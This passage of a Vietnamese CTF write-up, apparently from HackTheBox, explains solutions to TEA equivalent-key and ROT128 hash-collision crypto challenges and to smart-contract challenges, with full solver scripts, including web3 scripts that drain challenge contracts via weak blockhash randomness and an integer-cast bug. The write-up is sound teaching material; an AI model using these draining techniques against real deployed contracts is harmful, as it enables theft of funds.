used_keys.append(key) cipher = TEA(key, IV) enc = cipher.encrypt(server_message) if enc != ct: print(f'Hmm ... close enough, but {enc.hex()} does not look like {ct.hex()} at all! Bye...') exit() except: print('Nope.') exit() ciphertexts.append(ct) print(f'Wait, really? {FLAG}') if __name__ == '__main__': run()
  • Challenge code: Tương tự bài Iced TEA

Solution

  • Trước hết, mình sẽ phân tích flow của server. Server đầu tiên sẽ cung cấp cho chúng ta một server_message (gọi tắt là sm). sm sẽ được mã hóa bằng thuật toán TEA-CBC với IV cố định (IV này lấy từ local), vậy còn key thì sao? Chúng ta sẽ chính là người cung cấp key cho bài. Thực chất server sẽ chạy 10 vòng, ở mỗi vòng sẽ lấy vào ct và 4 key của mình, nếu có thể tạo ra collision giữa ctenc_sm thì được accept và chạy vào vòng kế tiếp. Tất nhiên sau khi sử dụng key nào thì key đó sẽ trở nên useless cho vòng key tiếp theo. ct cũng không được reused btw :smiley_cat:
  • Nếu bypass được tất cả 10 vòng này thì server sẽ nhả flag cho mình, nói là 10 vòng cho bé thôi chứ mỗi vòng chính lại cần tìm 4 key khác nhau, tổng cộng là mình cần có 10 cặp (4 keys, ct) để break bài này.
  • Trước hết IV là cố định và mode là CBC nên việc recover lại IV không quá khó, yêu cầu hiểu về các mode là có thể làm được rồi:
    CBC
  • Như đã thấy, đề bài cung cấp cho chúng ta sm, bản mã của sm, key do chúng ta cung cấp, vậy thì bằng một thủ thuật đơn giản mình có thể tìm lại được IV:
CBC:
E(key, sm ^ IV) = enc_sm
D(key, enc_sm) = sm ^ IV
  • Tuy nhiên nếu để ý kĩ, ta sẽ thấy D(key, enc_sm) của CBC khá giống với ECB, vậy nên mình sẽ decrypt(enc_sm) bằng mode ECB và xor output với sm là recover xong IV:
from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l from Crypto.Util.Padding import unpad, pad from enum import Enum class Mode(Enum): ECB = 0x01 CBC = 0x02 class Cipher: def __init__(self, key, iv=None): self.BLOCK_SIZE = 64 self.KEY = [b2l(key[i:i+self.BLOCK_SIZE//16]) for i in range(0, len(key), self.BLOCK_SIZE//16)] self.DELTA = 0x9e3779b9 self.IV = iv if self.IV: self.mode = Mode.CBC else: self.mode = Mode.ECB def _xor(self, a, b): return b''.join(bytes([_a ^ _b]) for _a, _b in zip(a, b)) def decrypt(self, ciphertext): blocks = [ciphertext[i:i+self.BLOCK_SIZE//8] for i in range(0, len(ciphertext), self.BLOCK_SIZE//8)] pt = b'' if self.mode == Mode.ECB: for ct_block in blocks: pt += self.decrypt_block(ct_block) elif self.mode == Mode.CBC: X = self.IV for ct_block in blocks: dec_block = self.decrypt_block(ct_block) pt += self._xor(X, dec_block) X = ct_block return pt def decrypt_block(self, ciphertext): c = b2l(ciphertext) K = self.KEY msk = (1 << (self.BLOCK_SIZE//2)) - 1 m0 = c >> (self.BLOCK_SIZE//2) m1 = c & ((1 << (self.BLOCK_SIZE//2)) - 1) s = self.DELTA * 32 for i in range(32): m1 -= ((m0 << 4) + K[2]) ^ (m0 + s) ^ ((m0 >> 5) + K[3]) m1 &= msk m0 -= ((m1 << 4) + K[0]) ^ (m1 + s) ^ ((m1 >> 5) + K[1]) m0 &= msk s -= self.DELTA m = (m0 << (self.BLOCK_SIZE//2)) | m1 return l2b(m) pt = '712ebc63b7ee138ddf8e2405309c38448b310e6d' key = b'1' * 16 ct = 'ac442644f6e843e4382da8864248e85751ef723cc9a14d34' pt, ct = bytes.fromhex(pt), bytes.fromhex(ct) cipher = Cipher(key) temp = cipher.decrypt(ct) IV = cipher._xor(temp, pt)[:8] print(IV)

(Nhớ dùng lại file như bài Iced TEA. ptct ở trên là mình lấy từ server, còn key là của mình gửi lên)

  • Tìm được IV = b'\r\xdd\xd2w<\xf4\xb9\x08' (chỉ 8 bytes thôi nên đừng confuse :monkey:, just chill). Việc tìm lại IV rất có ý nghĩa cho attack của mình vì mình phải gửi lên ct đã encrypt bằng keyIV.
  • Công việc tiếp theo yêu cầu chúng ta kiến thức về Equivalent keys. Tài liệu tham khảo về Equivalent keys có thể xem ở mục 3.5 trong đây (shout-out anh Thangcoithongminh :fire:). Vì paper đã viết khá rõ rồi nên mình sẽ chỉ giải thích vulnerability thôi. Nếu nhìn vào hàm encrypt_block trong class Cipher:
    Vul

    thì ai cũng sẽ nhận ra vấn đề các key khác nhau có thể mã hóa giống nhau cho một bản rõ, ở đây maximum chỉ tìm được 3 key khác nên số vòng test key là 4 :monkey:
  • Dài dòng như trên nhưng cuối cùng kiểu gì cũng sẽ tìm được 4 keys lần lượt là:
h = 0x80000000 K0 = k0 + k1 + k2 + k3 K1 = k0 + k1 + xor(k2, h) + xor(k3, h) K2 = xor(k0, h) + xor(k1, h) + k2 + k3 K3 = xor(k0, h) + xor(k1, h) + xor(k2, h) + xor(k3, h)
  • Tới đây thì done, mình đã có các key rồi, giờ đem đi thử nghiệm thôi:
pt = '712ebc63b7ee138ddf8e2405309c38448b310e6d' key = b'1' * 16 ct = 'ac442644f6e843e4382da8864248e85751ef723cc9a14d34' pt, ct = bytes.fromhex(pt), bytes.fromhex(ct) IV = b'\r\xdd\xd2w<\xf4\xb9\x08' def keys(key): h = 0x80000000 h = l2b(h) k = [key[i:i+4] for i in range(0, 16, 4)] K0 = k[0] + k[1] + k[2] + k[3] K1 = k[0] + k[1] + xor(k[2], h) + xor(k[3], h) K2 = xor(k[0], h) + xor(k[1], h) + k[2] + k[3] K3 = xor(k[0], h) + xor(k[1], h) + xor(k[2], h) + xor(k[3], h) return [K0, K1, K2, K3] for key in keys(key): cipher = Cipher(key, IV) test = cipher.encrypt(pt) print(test == ct)
  • Gotcha, giờ mình sẽ viết full code cho bài:
from pwn import * from source import Cipher from Crypto.Util.number import * def keys(key: bytes): h = 0x80000000 h = long_to_bytes(h) k = [key[i:i+4] for i in range(0, 16, 4)] K0 = k[0] + k[1] + k[2] + k[3] K1 = k[0] + k[1] + xor(k[2], h) + xor(k[3], h) K2 = xor(k[0], h) + xor(k[1], h) + k[2] + k[3] K3 = xor(k[0], h) + xor(k[1], h) + xor(k[2], h) + xor(k[3], h) return [K0, K1, K2, K3] HOST = '83.136.254.199' PORT = 36738 IV = b'\r\xdd\xd2w<\xf4\xb9\x08' r = remote(HOST, PORT) r.recvuntil(b': ') sm = r.recvuntil(b'\n').split(b'\n')[0].decode() for round in range(10): key = (str(round) * 16).encode() ct = Cipher(key=key, iv=IV).encrypt(bytes.fromhex(sm)) r.sendlineafter(b' (in hex) : ', bytes.hex(ct).encode()) temp = keys(key) for k in temp: r.sendlineafter(b'(in hex) : ', bytes.hex(k).encode()) print(f'Finish round number: {round + 1} !!!') if round == 9: print(r.recv().decode())

Flag

HTB{th1s_4tt4ck_m4k3s_T34_1n4ppr0pr14t3_f0r_h4sh1ng!}

Note

  • Đây là một bài hard khá hay, làm mình tốn kha khá thời gian (1 tiếng) để giải sau khi HTB end.

10. ROT128

Description

  • Challenge code:
import random, os, signal from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l from secret import FLAG ROUNDS = 3 USED_STATES = [] _ROL_ = lambda x, i : ((x << i) | (x >> (N-i))) & (2**N - 1) N = 128 def handler(signum, frame): print("\n\nToo slow, don't try to do sneaky things.") exit() def validate_state(state): if not all(0 < s < 2**N-1 for s in user_state[-2:]) or not all(0 <= s < N for s in user_state[:4]): print('Please, make sure your input satisfies the upper and lower bounds.') return False if sorted(state[:4]) in USED_STATES: print('You cannot reuse the same state') return False if sum(user_state[:4]) < 2: print('We have to deal with some edge cases...') return False return True class HashRoll: def __init__(self): self.reset_state() def hash_step(self, i): r1, r2 = self.state[2*i], self.state[2*i+1] return _ROL_(self.state[-2], r1) ^ _ROL_(self.state[-1], r2) def update_state(self, state=None): if not state: self.state = [0] * 6 self.state[:4] = [random.randint(0, N) for _ in range(4)] self.state[-2:] = [random.randint(0, 2**N) for _ in range(2)] else: self.state = state def reset_state(self): self.update_state() def digest(self, buffer): buffer = int.from_bytes(buffer, byteorder='big') m1 = buffer >> N m2 = buffer & (2**N - 1) self.h = b'' for i in range(2): self.h += int.to_bytes(self.hash_step(i) ^ (m1 if not i else m2), length=N//8, byteorder='big') return self.h print('Can you test my hash function for second preimage resistance? You get to select the state and I get to choose the message ... Good luck!') hashfunc = HashRoll() for _ in range(ROUNDS): print(f'ROUND {_+1}/{ROUNDS}!') server_msg = os.urandom(32) hashfunc.reset_state() server_hash = hashfunc.digest(server_msg) print(f'You know H({server_msg.hex()}) = {server_hash.hex()}') signal.signal(signal.SIGALRM, handler) signal.alarm(2) user_state = input('Send your hash function state (format: a,b,c,d,e,f) :: ').split(',') try: user_state = list(map(int, user_state)) if not validate_state(user_state): print("The state is not valid! Try again.") exit() hashfunc.update_state(user_state) if hashfunc.digest(server_msg) == server_hash: print(f'Moving on to the next round!') USED_STATES.append(sorted(user_state[:4])) else: print('Not today.') exit() except: print("The hash function's state must be all integers.") exit() finally: signal.alarm(0) print(f'Uhm... how did you do that? I thought I had cryptanalyzed it enough ... {FLAG}')

Solution

  • Bài này là bài lỏ nhất mình từng làm, một là vì có cả unintended solution, hai là bài này hơi quá khó để mình giải và thực sự học được gì đó. Tuy nhiên mình sẽ cố để hấp thụ tinh hoa trong bài toán này.
  • Trước hết, file source gợi ý cho mình về ý tưởng khai thác second preimage resistance của hàm băm tự chế HashRoll(). Chúng ta sẽ cần break 3 lần liên tiếp để server nhả flag. Về công việc trong mỗi vòng, mình có thể tóm tắt lại như sau:
    • Server đẻ ra một server_msg với 32 bytes, sau đó trả ra cho chúng ta một hàm băm của server_msg gọi là server_hash = H(server_msg)
    • Trong 2s, chúng ta sẽ cần nhập vào các user_state hợp lệ, sau đó server sẽ thử băm user_state ra, nếu H(user_state) = server_hash thì chuyển tới vòng tiếp theo
  • Như vậy, công việc chính của mỗi vòng là tìm user_state, tạm gọi là S' sao cho H(S') = H(S), với Sserver_msg. Trong đó, S' (cũng như S) gồm có các thành phần a, b, c, d là số bits để ROL - left rotate (dịch vòng trái) và e, f là hai số 128 bits sắp ROLed. Tuy nhiên, có hai điều cần phải lưu ý, S' cần phải hợp lệ, tức là:
    • Không được reuse lại S'
    • Tổng a + b + c + d không được nhỏ hơn 2 (tránh vài trường hợp đặc biệt)
    • a, b, c, d phải nằm trong nửa đoạn [0, 128), ef phải nằm trong khoảng (0, 2^128 - 1)
  • Tất cả mọi thứ đều được phân tích xong, đã biết được chúng ta cần gửi lên server bộ số (a, b, c, d, e, f) sao cho
H(S') = H(S)
<=> h1' + h2' = ROL(e, a) ^ ROL(f, b) ^ m1 + ROL(e, c) ^ ROL(f, d) ^ m2 = h1 + h2

giờ mình sẽ đi tới cách attack, theo cả unintended và intended solution.

Unintended solution

  • Unintended solution này xảy ra vì chúng ta có thể dùng z3 để giải. Khi đề bài cho mình server_msg (S) và server_hash (H(S)) cũng đồng nghĩa với việc chúng ta có được các giá trị h1, h2 (từ H(S)) và m1, m2 (từ S). Về chi tiết mình sẽ không đi quá sâu mà chỉ gợi ý tìm bằng cách khai thác bufferbuffer = l2b(S). Từ đây, chắc chắn một điều ta có thể giải ra bộ số (a, b, c, d, e, f) thỏa mãn h1' + h2' = h1 + h2 như trên bằng z3. Đóng gói bộ số này gửi lên server là xong:
from z3 import * from pwn import * import re HOST = PORT = def find_hex_strings(text): pattern = r'\b[a-fA-F0-9]{64}\b' hex_strings = re.findall(pattern, text) return hex_strings while True: try: r = remote(HOST, PORT) for i in range(3): data = r.recvuntil(b"Send your hash function state (format: a,b,c,d,e,f) ::").decode() data = find_hex_strings(data) buffer = int(data[0], 16) h = data[1] N = 128 _ROL_ = lambda x, i: ((x << i) | (x >> (N-i))) & (2**N - 1) m1 = buffer >> N m2 = buffer & (2**N - 1) h1 = int(h[:32], 16) ^ m1 h2 = int(h[32:], 16) ^ m2 solver = Solver() # Declare e and f as 128 bit BitVecs e, f = BitVecs('e f', N) def constraint_ROL_xor(e, f, i1, i2, h): return _ROL_(e, i1) ^ _ROL_(f, i2) == h a, b, c, d = BitVecs('a b c d', 7) a,b,c,d = ZeroExt(128-7, a), ZeroExt(128-7, b), ZeroExt(128-7, c), ZeroExt(128-7, d) solver.add(constraint_ROL_xor(e, f, a, b, h1)) solver.add(constraint_ROL_xor(e, f, c, d, h2)) if solver.check() == sat: m = solver.model() print(m) dict = {d.name(): m[d] for d in m.decls()} res = f"{dict['a']},{dict['b']},{dict['c']},{dict['d']},{dict['e']},{dict['f']}" r.sendline(res.encode()) r.recvline() print(r.recvline()) except: pass

(Shout-out anh lilthawg vì bộ code lỏ này :fire:)

  • Tuy nhiên không nên vứt máy một chỗ rùi chạy code vì code brute vô hạn không ngừng có lúc đúng có lúc sai và sẽ có một lúc nào đó mọi người không ngờ mà flag lòi ra đâu :penguin:

Intended solution

  • Về intended solution của bài này thì dài kinh khủng khiếp (vì là Insane mà). Tuy nhiên, có thể thu nhỏ vấn đề lại về bài viết này
  • Nếu đọc bài viết trên, ta có thể hình thành hoàn toàn lời giải cho bài này, tuy nhiên mình cần làm rõ một vài vấn đề:
  • Ta đã biết phép xor chính là phép cộng trong trường Fp với p = 2, vậy còn phép dịch trái thì sao. Dịch trái 1 bit tương ứng với việc nhân số đó với 2^1, 2 bits là nhân với 2^2, tổng quát lại, dịch k bits là nhân với 2^k.
  • Tuy nhiên, nếu phần tử A của ta là đa thức, khi đó, ta gọi trường hữu hạn Fp trên là một vành đa thức (polynomial rings) Fp[z] thỏa mãn A là một tổ hợp tuyến tính của a[i] * z^i, a[i] là phần tử của Fp. Trong bài này, trường nghiên cứu là GF(2^128)
  • Vậy kiến thức này liên quan đến gì tới bài, thực ra nhiều là đằng khác. Xét cách biểu diễn đa thức của một số trong trường GF(2^k) - là trường Galois đã gặp trong mã hóa AES với k = 3, ta có GF(2^3) và trường này có 8 phần tử phân biệt từ 0 đến 7, cụ thể như sau:
Số Biểu diễn nhị phân Biểu diễn đa thức
0 000 0x^2 + 0x^1 + 0x^0 = 0
1 001 0x^2 + 0x^1 + 1x^0 = 1
2 010 0x^2 + 1x^1 + 0x^0 = x
3 011 0x^2 + 1x^1 + 1x^0 = x + 1
4 100 1x^2 + 0x^1 + 0x^0 = x^2
5 101 1x^2 + 0x^1 + 1x^0 = x^2 + 1
6 110 1x^2 + 1x^1 + 0x^0 = x^2 + x
7 111 1x^2 + 1x^1 + 1x^0 = x^2 + x + 1
  • Nói cách khác, các phần tử trong trường GF(2^3) được biểu diễn dưới dạng trên (cột 3). Nếu ta xor hai phần tử với nhau, giả sử 7 xor 3 sẽ nhận được kết quả là x^2, vì:
7 xor 3
= 7 + 3 (mod 2)
= (x^2 + x + 1) + (x + 1) (mod 2)
= x^2 + 2x + 2 (mod 2)
= x^2 (mod 2)
  • Đối với bài, trường chúng ta làm việc sẽ là GF(2^128) và chứa 128 phần tử từ 0 đến 127. Khi đó, nếu tính h1'h2' như bài, ta sẽ thực hiện:
h1' = ROL(e, a) ^ ROL(f, b) ^ m1
h2' = ROL(e, c) ^ ROL(f, d) ^ m2

<=> h1' ^ m1 = ROL(e, a) ^ ROL(f, b)
    h2' ^ m2 = ROL(e, c) ^ ROL(f, d)
- Nếu chọn a = c, khi đó:
h1' ^ m1 = ROL(e, a) + 2**b * f
h2' ^ m2 = ROL(e, a) + 2**d * f (theo như lí thuyết ở trên)

=> h1' ^ m1 ^ h2' ^ m2 = 2**b * f ^ 2**d * f
=> h1' ^ m1 ^ h2' ^ m2 = (2**b ^ 2**d)f
=> f = (h1' ^ m1 ^ h2' ^ m2) / (2**b ^ 2**d)
=> f = (h1 ^ h2 ^ m1 ^ m2) / (2**b ^ 2**d)
+ Đến đây chỉ cần check factor như bài viết trong link là được

- Ta có ROL(e, a) = 2**a * e
=> 2**a = ROL(e, a) / e
=> a = log2(ROL(e, a) / e)
+ Đến đây cũng check factor như bài viết trong link

- Lại có e = ROL(e, a) / (2**a)
=> e = (h1' ^ m1 - ROL(f, b)) / (2**a)
=> e = (h1 ^ m1 - ROL(f, b)) / (2**a)
  • Vậy chúng ta đã có đầy đủ bộ số (e, f) dựa vào (a, b, c, d)(h1, h2, m1, m2) thỏa mãn yêu cầu đề bài, vậy attack thôi.
  • Code:
from pwn import process from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l import itertools, math from sage.all import * N = 128 F = GF(2**N, 'w') w = F.gen() PR = PolynomialRing(GF(2), 'z') z = PR.gen() _ROL_ = lambda x, i : ((x << i) | (x >> (N-i))) & (2**N - 1) def int2pre(i): coeffs = list(map(int, bin(i)[2:].zfill(N)))[::-1] return PR(coeffs) def pre2int(p): coeffs = p.coefficients(sparse=False) return sum(2**i * int(coeffs[i]) for i in range(len(coeffs))) def pre2int(p): coeffs = p.coefficients(sparse=False) return sum(2**i * int(coeffs[i]) for i in range(len(coeffs))) def get_all_bd(): powers = '0123456789' cands = itertools.product(powers, repeat=2) bd = {} for cand in set(cands): b = int(cand[0]) d = int(cand[1]) s = 2**b + 2**d bd[s] = sorted([b, d]) return bd def get_b_and_d(H, bd, visited): factors = sorted([F(i**j).integer_representation() for i,j in list(H.factor())]) for fact in factors: if fact in visited: continue if fact in bd: b, d = bd[fact] visited.append(fact) return (b, d) def get_a_and_c(numer): numer_factors = sorted([F(i**j).integer_representation() for i,j in list(numer.factor())]) cands = [] for factor in numer_factors: a = int(math.log2(factor)) if 2**a == factor: c = a cands.append((a, c)) return cands def solve(io, bd, used_states, visited): io.recvuntil(b'H(') server_msg = int(io.recv(64), 16) io.recvuntil(b' = ') server_hash = l2b(int(io.recvline().strip().decode(), 16)) m1, m2 = server_msg >> N, server_msg & (2**N - 1) H1, H2 = b2l(server_hash[:16]) ^ m1, b2l(server_hash[16:]) ^ m2 H = int2pre(H1) + int2pre(H2) if not H: return None bd = get_b_and_d(H, bd, visited) if not bd: return None b, d = bd assert H.mod(int2pre(2**b + 2**d)) == 0 f = H / int2pre(2**b + 2**d) numer = int2pre(H1) - f * int2pre(2**b) ac = get_a_and_c(numer) if not ac: return None for (a, c) in ac: e = numer / int2pre(2**a) e = pre2int(PR(e)) f = pre2int(PR(f)) if sorted([a, b, c, d]) in used_states: continue if H1 == _ROL_(e, a) ^ _ROL_(f, b) and H2 == _ROL_(e, c) ^ _ROL_(f, d): used_states.append(sorted([a, b, c, d])) state = a, b, c, d, e, f return state bd = get_all_bd() while True: used_states = [] visited = [] done = 0 io = process(['python3', 'server.py']) for _ in range(3): state = solve(io, bd, used_states, visited) if state: a, b, c, d, e, f = state io.sendlineafter(b' :: ', f'{a},{b},{c},{d},{e},{f}'.encode()) done += 1 print(f'Finish round number {done} !!!') if done == 3: io.recvline() print(io.recvline().decode()) exit() else: print('Try again!!!') io.close() break

(Code hơi dài và khó viết nên quả thật bài này Insane cũng đáng)

  • Cách attack cũng chỉ vậy thôi, tuy nhiên lại nằm ở việc khai thác ROL, GF(2**128) và việc tìm collision cho hàm băm nên bài này thực sự rất hay, xứng đáng :100:

Flag

HTB{k33p_r0t4t1ng_4nd_r0t4t1ng_4nd_x0r1ng_4nd_r0t4t1ng!}


II. Blockchain

0. Introduction

  • Trước hết thì với mình, mảng Blockchain này hoàn toàn mới và có rất nhiều thứ mình cần học. Tuy nhiên trong quá trình tham gia giải thì mình được mọi người support khá nhiều, shout-out anh Mạnh AT18, anh lilthawg29 với ông bạn lỏ Thụy AT20. Về flow của các challs dưới đây thì có thể mình chưa thể nắm hết được nhưng mình sẽ cố gắng trình bày chính xác nhất có thể, thanks for reading :heart:

1. Russian Roulette

Description

  • Setup.sol:
pragma solidity 0.8.23; import {RussianRoulette} from "./RussianRoulette.sol"; contract Setup { RussianRoulette public immutable TARGET; constructor() payable { TARGET = new RussianRoulette{value: 10 ether}(); } function isSolved() public view returns (bool) { return address(TARGET).balance == 0; } }
  • RussianRoulette.sol:
pragma solidity 0.8.23; contract RussianRoulette { constructor() payable { // i need more bullets } function pullTrigger() public returns (string memory) { if (uint256(blockhash(block.number - 1)) % 10 == 7) { selfdestruct(payable(msg.sender)); // 💀 } else { return "im SAFU ... for now"; } } }

Solution

  • Bài này thì có hai file, file Setup.sol sẽ được thực thi chính, và flow của chương trình sẽ như sau (cũng có thể hỏi ChatGPT nếu stuck):
    • Khai báo một contract tên Setup
    • Khai báo một biến TARGET (biến immutable, tạm hiểu là không thể thay đổi, giống với chức năng của biến constant ). Bên cạnh đó TARGET thuộc kiểu RussianRoulette (đã import từ file RussianRoulette.sol)
    • Khai báo một hàm khởi tạo, trong hàm này gán TARGET bằng địa chỉ của RussianRoulette và 10 Ether khởi tạo
    • Khai báo hàm isSolved(), dùng để kiểm tra số dư của TARGET, nếu bằng 0 thì trả về True
  • Mình sẽ đi sâu một chút vào phân tích file RussianRoulette.sol:
    • Khai báo hàm khởi tạo (nhưng chả có gì ngoài dòng comment cho vui :monkey:)
    • Khai báo hàm pullTrigger(), hàm này chúng ta có thể call được. Hàm này sẽ check nếu hash của block trước mod 10 bằng 7 thì tự hủy luôn (selfdestruct), thực ra là nó sẽ gửi tất cả tiền về cho mình, nếu không thì in ra dòng im SAFU ... for now (thực ra chẳng SAFU nổi đâu vì mình sắp cho nó đi bán muối rồi :smiling_imp:)
  • Rồi, vậy thì mục tiêu chính của bài là lấy tất cả tiền của thằng TARGET kia rồi mình sẽ nhận được flag. Có một điều mình chưa nói là khi Spawn Docker của bài sẽ có 2 ports cho 1 id. Thực chất 1 port là để connect để lấy thông tin còn 1 port để nc với server (để lấy flag) thôi.
  • Mình sẽ nói về cách exploit ở đây. Đầu tiên nếu ai chưa tiếp xúc với solidity bao giờ, nói chung là smart contract đi, thì sẽ rất khó để hiểu code và viết nó ra sao. Mình cũng thế và toàn bộ code là do ChatGPT viết, cái chính ở đây sẽ là idea để khai thác. Hàm duy nhất mình có thể attack ở đây là pullTrigger() vì mình tương tác với nó mà, bên cạnh đó hàm cũng là cách duy nhất để thó sạch tiền của thằng cu TARGET kia. Hàm này kiểm tra hash của block trước, nhưng bố ai biết được block trước như nào :penguin:, vậy nên khá may rủi. Tuy nhiên, hàm không giới hạn lần gọi, nên mình sẽ gọi nhiều lần pullTrigger() cho đến khi thó được tiền thì thôi. Idea đơn giản như thế nhưng code gần trăm dòng chứ ít :penguin:
  • Full script:
import eth_account from web3 import Web3 w3 = Web3(Web3.HTTPProvider('http://94.237.53.81:39438')) Private_key = '0xe1fc19baee3e2ec693eb28626a41d1f0fa297b2481b66e0b7bcad143bb4ffa38' Address = '0xAe0CEeDB8238725A8BdCCeF55161d06Fb1e111F0' Target_contract = '0x251478952cDF5819e5C901db75a1E12B65Af3122' Setup_contract = '0x1176a5a7413241ECA579B5d38290b8fe31e24FE9' my_account = eth_account.Account.from_key(Private_key) SETUP_CONTRACT_ABI = [ { "inputs": [], "stateMutability": "nonpayable", "type": "constructor" }, { "inputs": [], "name": "TARGET", "outputs": [ { "internalType": "contract RussianRoulette", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "isSolved", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "view", "type": "function" } ] TARGET_CONTRACT_ABI = [ { "inputs": [], "stateMutability": "payable", "type": "constructor" }, { "inputs": [], "name": "pullTrigger", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "payable", "type": "function" } ] Setup_contract = w3.eth.contract(address=Setup_contract, abi=SETUP_CONTRACT_ABI) Target_contract = w3.eth.contract(address=Target_contract, abi=TARGET_CONTRACT_ABI) while True: is_solved = Setup_contract.functions.isSolved().call() if is_solved: print("Target contract is already solved!") break tx = Target_contract.functions.pullTrigger().build_transaction({ 'gas': 200000, 'gasPrice': w3.to_wei('5', 'gwei'), 'nonce': w3.eth.get_transaction_count(Address), }) signed_tx = w3.eth.account.sign_transaction(tx, Private_key) tx_hash = w3.eth.send_raw_transaction(signed_tx.rawTransaction) print("Transaction sent:", tx_hash.hex())

(để chạy được code này thì cần spawn docker, lấy ip server, lấy info, cài đặt thư viện web3, nói chung là nhiều lắm nên cách này cũng hơi lỏ :monkey:)

  • Sau khi thó tiền thì quay lại port 2 kia để lấy flag. Done :moneybag:
    TARGET

Flag

HTB{99%_0f_g4mbl3rs_quit_b4_bigwin}

Note

  • Bên cạnh đó, mình có thể sử dụng một tool lỏ có tên là Foundry nhưng tạm thời mình chưa tìm hiểu kĩ nên thôi :monkey:

2. Lucky Faucet

Description

  • Setup.sol:
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.7.6; import {LuckyFaucet} from "./LuckyFaucet.sol"; contract Setup { LuckyFaucet public immutable TARGET; uint256 constant INITIAL_BALANCE = 500 ether; constructor() payable { TARGET = new LuckyFaucet{value: INITIAL_BALANCE}(); } function isSolved() public view returns (bool) { return address(TARGET).balance <= INITIAL_BALANCE - 10 ether; } }
  • LuckyFaucet:
// SPDX-License-Identifier: MIT pragma solidity 0.7.6; contract LuckyFaucet { int64 public upperBound; int64 public lowerBound; constructor() payable { // start with 50M-100M wei Range until player changes it upperBound = 100_000_000; lowerBound = 50_000_000; } function setBounds(int64 _newLowerBound, int64 _newUpperBound) public { require(_newUpperBound <= 100_000_000, "100M wei is the max upperBound sry"); require(_newLowerBound <= 50_000_000, "50M wei is the max lowerBound sry"); require(_newLowerBound <= _newUpperBound); // why? because if you don't need this much, pls lower the upper bound :) // we don't have infinite money glitch. upperBound = _newUpperBound; lowerBound = _newLowerBound; } function sendRandomETH() public returns (bool, uint64) { int256 randomInt = int256(blockhash(block.number - 1)); // "but it's not actually random 🤓" // we can safely cast to uint64 since we'll never // have to worry about sending more than 2**64 - 1 wei uint64 amountToSend = uint64(randomInt % (upperBound - lowerBound + 1) + lowerBound); bool sent = msg.sender.send(amountToSend); return (sent, amountToSend); } }

Solution

  • Sau khi trải nghiệm một bài blockchain đơn giản thì mình bị quẳng ngay một bài lỏ. Mình sẽ chỉ giải thích điều kiện để lấy được flag, phân tích những gì mình có và cách exploit thui.
  • Trước tiên đọc file Setup.sol biết được:
    • TARGET của mình có 500 Ether khởi tạo
    • Lấy được flag khi tiền của TARGET bị hụt đi 10 Ether
  • Còn với file LuckyFaucet:
    • Khai báo hai mức Bound, một là max một là min
    • Khai báo một hàm setBounds() cho phép mình thay đổi Bound
    • Khai báo hàm sendRandomETH(). Hàm này như một cái vòi nước từ túi của TARGET, dùng để gửi tiền cho mình nhưng là tiền trong giới hạn Bound thôi.
  • Qua phân tích trên, cộng với việc hàm setBounds() là hàm mình có thể call vào, thì chắc chắn lỗ hổng nằm ở đây. Mình cần lấy đi Ether từ TARGET, mà tiền của TARGET phụ thuộc vào Bound do mình set, vậy nên đây là hướng đi.
  • Tất nhiên, câu hỏi sẽ là Bound như nào mới bypass, vậy mình cần phân tích lượng tiền mà nó gửi:
uint64 amountToSend = uint64(randomInt % (upperBound - lowerBound + 1) + lowerBound)
  • Mình cần làm sao cho lượng amountToSend càng lớn càng tốt. Bên cạnh đó, trong Solidity, nếu mình khai báo một số k < 0 ở dạng uint64, số trả về sẽ cực lớn, cụ thể là uint64(k) = 2**64 + k. Sure về hướng exploit rồi, giờ thì tới code thôi:
import eth_account from web3 import Web3 RPC = '' private_key = '' address = '' target_contract_address = '' w3 = Web3(Web3.HTTPProvider(RPC)) target_contract_abi = [ { "inputs": [], "stateMutability": "payable", "type": "constructor" }, { "inputs": [], "name": "upperBound", "outputs": [{"internalType": "int64", "name": "", "type": "int64"}], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "lowerBound", "outputs": [{"internalType": "int64", "name": "", "type": "int64"}], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "sendRandomETH", "outputs": [{"internalType": "bool", "name": "", "type": "bool"}, {"internalType": "uint64", "name": "", "type": "uint64"}], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [{"internalType": "int64", "name": "_newLowerBound", "type": "int64"}, {"internalType": "int64", "name": "_newUpperBound", "type": "int64"}], "name": "setBounds", "outputs": [], "stateMutability": "nonpayable", "type": "function" } ] my_account = eth_account.Account.from_key(private_key) w3.eth.default_account = my_account.address target_contract = w3.eth.contract(address=target_contract_address, abi=target_contract_abi) target_contract.functions.setBounds(-10000000000000000, 100000000).transact() tx_hash = target_contract.functions.sendRandomETH().transact() tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash) print("Transaction successful") if w3.eth.get_balance(my_account.address) >= 10 * 10**18: print("Exploited successfully!") else: print("Set bounds again!")

(Nhớ thay thế các giá trị vào nha :heart:)

TARGET

Flag

HTB{1_f0rg0r_s0m3_U}

Note

  • Cần lưu ý tiền chỉ gửi một lần nên không thể set vòng lặp như bài trước đâu :money_with_wings:
  • 10 Ether tương đương với 10 * 10**18 wei và tiền giao dịch theo đơn vị wei nên có phép so sánh ở dòng 56 kia :moneybag:.

3. Recovery

Description

  • We are The Profits. During a hacking battle our infrastructure was compromised as were the private keys to our Bitcoin wallet that we kept.
  • We managed to track the hacker and were able to get some SSH credentials into one of his personal cloud instances, can you try to recover my Bitcoins?
  • Username: satoshi
  • Password: L4mb0Pr0j3ct
  • NOTE: Network is regtest, check connection info in the handler first.

Solution

  • Đây là chall duy nhất trong Blockchain không cho một file gì :penguin:, bên cạnh đó còn cho 1 IP nhưng với 3 Ports, siêu lỏ.
  • Mình sẽ phân tích 3 Ports và cách dùng:
    • Port 1: Vác vào SSH để lấy seed - sử dụng để recover lại ví (Dùng với Electrum)
    • Port 2: Dùng để tạo một network loại regtest - dùng cho thí nghiệm và không ảnh hưởng đến các lưu thông tiền ảo bên ngoài.
    • Port 3: Tương tác với server và lấy flag - dùng nc
  • Mình sẽ tổng hợp các bước và thông tin ở dưới đây (theo thời điểm làm bài của mình vì Docker mỗi người một khác):
IP: 94.237.50.175

PORT 1: 41769
